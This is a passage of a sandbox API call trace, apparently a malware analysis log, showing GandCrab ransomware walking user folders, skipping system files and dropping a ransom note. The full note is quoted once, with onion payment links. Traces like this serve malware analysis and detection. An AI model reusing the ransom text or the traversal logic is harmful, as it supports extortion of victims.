returned -1 [0169.835] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0169.835] FindClose (in: hFindFile=0x5a49d8 | out: hFindFile=0x5a49d8) returned 1 [0169.835] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.836] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\\\GDCB-DECRYPT.txt") returned 91 [0169.836] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\adobe\\color\\profiles\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e4 [0169.837] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0169.837] WriteFile (in: hFile=0x4e4, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0169.837] CloseHandle (hObject=0x4e4) returned 1 [0169.837] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.837] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\") returned 74 [0169.837] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\*" [0169.837] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5a49d8 [0169.838] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.838] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.838] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.838] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.838] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.838] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.838] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.838] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt" [0169.838] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.838] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 90 [0169.838] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 90 [0169.838] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 90 [0169.838] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 90 [0169.838] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.838] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.838] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.838] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.838] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.838] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.838] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.838] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.838] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.838] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.838] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.838] lstrcmpW (lpString1="wscRGB.icc", lpString2=".") returned 1 [0169.838] lstrcmpW (lpString1="wscRGB.icc", lpString2="..") returned 1 [0169.838] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\", lpString2="wscRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" [0169.838] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.838] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 84 [0169.839] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 84 [0169.839] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.839] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.839] lstrcmpW (lpString1="wsRGB.icc", lpString2=".") returned 1 [0169.839] lstrcmpW (lpString1="wsRGB.icc", lpString2="..") returned 1 [0169.839] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\", lpString2="wsRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" [0169.839] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.839] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 83 [0169.839] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 83 [0169.839] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.839] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0169.839] FindClose (in: hFindFile=0x5a49d8 | out: hFindFile=0x5a49d8) returned 1 [0169.839] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0169.840] FindClose (in: hFindFile=0x5a4918 | out: hFindFile=0x5a4918) returned 1 [0169.840] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0169.840] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.840] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.840] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\GDCB-DECRYPT.txt" [0169.840] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.840] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\GDCB-DECRYPT.txt") returned 75 [0169.840] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\GDCB-DECRYPT.txt") returned 75 [0169.840] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\GDCB-DECRYPT.txt") returned 75 [0169.840] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Adobe\\GDCB-DECRYPT.txt") returned 75 [0169.840] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.840] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.840] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.840] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.840] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.840] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.840] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.840] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.840] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.840] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.840] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 0 [0169.840] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0169.841] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0169.841] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0169.841] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0169.841] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\", lpString2="Application Data" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data" [0169.841] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\" [0169.841] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.841] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.841] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.841] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.841] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.841] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.841] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\") returned 70 [0169.841] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\*" [0169.841] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\*", lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 0x5a4918 [0169.841] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.841] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0169.841] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.841] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.841] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0169.841] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0169.841] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0169.841] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\", lpString2="Adobe" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe" [0169.841] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe") returned 75 [0169.841] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0169.842] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0169.842] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0169.842] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\", lpString2="Application Data" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data" [0169.842] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data") returned 86 [0169.842] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0169.842] lstrcmpW (lpString1="CEF", lpString2=".") returned 1 [0169.842] lstrcmpW (lpString1="CEF", lpString2="..") returned 1 [0169.842] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\", lpString2="CEF" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\CEF") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\CEF" [0169.842] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\CEF") returned 73 [0169.842] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0169.842] lstrcmpW (lpString1="Comms", lpString2=".") returned 1 [0169.842] lstrcmpW (lpString1="Comms", lpString2="..") returned 1 [0169.842] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\", lpString2="Comms" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Comms") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Comms" [0169.842] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Comms") returned 75 [0169.842] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0169.842] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.842] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.842] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\GDCB-DECRYPT.txt" [0169.842] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\GDCB-DECRYPT.txt") returned 86 [0169.842] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.842] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0169.842] lstrcmpW (lpString1="Google", lpString2=".") returned 1 [0169.842] lstrcmpW (lpString1="Google", lpString2="..") returned 1 [0169.842] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\", lpString2="Google" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Google") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Google" [0169.842] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Google") returned 76 [0169.842] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0169.842] lstrcmpW (lpString1="History", lpString2=".") returned 1 [0169.842] lstrcmpW (lpString1="History", lpString2="..") returned 1 [0169.842] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\", lpString2="History" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\History") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\History" [0169.842] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\History") returned 77 [0169.842] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0169.842] lstrcmpW (lpString1="IconCache.db", lpString2=".") returned 1 [0169.842] lstrcmpW (lpString1="IconCache.db", lpString2="..") returned 1 [0169.842] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\", lpString2="IconCache.db" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\IconCache.db") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\IconCache.db" [0169.842] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\IconCache.db") returned 82 [0169.842] lstrcmpW (lpString1=".db", lpString2=".sql") returned -1 [0169.842] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0169.842] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0169.842] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0169.842] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\", lpString2="Microsoft" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Microsoft") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Microsoft" [0169.842] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Microsoft") returned 79 [0169.842] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0169.842] lstrcmpW (lpString1="MicrosoftEdge", lpString2=".") returned 1 [0169.842] lstrcmpW (lpString1="MicrosoftEdge", lpString2="..") returned 1 [0169.842] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\", lpString2="MicrosoftEdge" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\MicrosoftEdge") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\MicrosoftEdge" [0169.842] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\MicrosoftEdge") returned 83 [0169.842] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0169.842] lstrcmpW (lpString1="Mozilla", lpString2=".") returned 1 [0169.842] lstrcmpW (lpString1="Mozilla", lpString2="..") returned 1 [0169.842] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\", lpString2="Mozilla" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Mozilla") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Mozilla" [0169.842] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Mozilla") returned 77 [0169.842] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0169.842] lstrcmpW (lpString1="Packages", lpString2=".") returned 1 [0169.842] lstrcmpW (lpString1="Packages", lpString2="..") returned 1 [0169.843] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\", lpString2="Packages" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Packages") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Packages" [0169.843] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Packages") returned 78 [0169.843] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0169.843] lstrcmpW (lpString1="PeerDistRepub", lpString2=".") returned 1 [0169.843] lstrcmpW (lpString1="PeerDistRepub", lpString2="..") returned 1 [0169.843] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\", lpString2="PeerDistRepub" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\PeerDistRepub") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\PeerDistRepub" [0169.843] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\PeerDistRepub") returned 83 [0169.843] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0169.843] lstrcmpW (lpString1="Publishers", lpString2=".") returned 1 [0169.843] lstrcmpW (lpString1="Publishers", lpString2="..") returned 1 [0169.843] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\", lpString2="Publishers" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Publishers") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Publishers" [0169.843] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Publishers") returned 80 [0169.843] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0169.843] lstrcmpW (lpString1="Temp", lpString2=".") returned 1 [0169.843] lstrcmpW (lpString1="Temp", lpString2="..") returned 1 [0169.843] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\", lpString2="Temp" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Temp") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Temp" [0169.843] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Temp") returned 74 [0169.843] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0169.843] lstrcmpW (lpString1="Temporary Internet Files", lpString2=".") returned 1 [0169.843] lstrcmpW (lpString1="Temporary Internet Files", lpString2="..") returned 1 [0169.843] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\", lpString2="Temporary Internet Files" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Temporary Internet Files") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Temporary Internet Files" [0169.843] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Temporary Internet Files") returned 94 [0169.843] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0169.843] lstrcmpW (lpString1="TileDataLayer", lpString2=".") returned 1 [0169.843] lstrcmpW (lpString1="TileDataLayer", lpString2="..") returned 1 [0169.843] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\", lpString2="TileDataLayer" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\TileDataLayer") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\TileDataLayer" [0169.843] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\TileDataLayer") returned 83 [0169.843] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0169.843] lstrcmpW (lpString1="VirtualStore", lpString2=".") returned 1 [0169.843] lstrcmpW (lpString1="VirtualStore", lpString2="..") returned 1 [0169.843] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\", lpString2="VirtualStore" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\VirtualStore") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\VirtualStore" 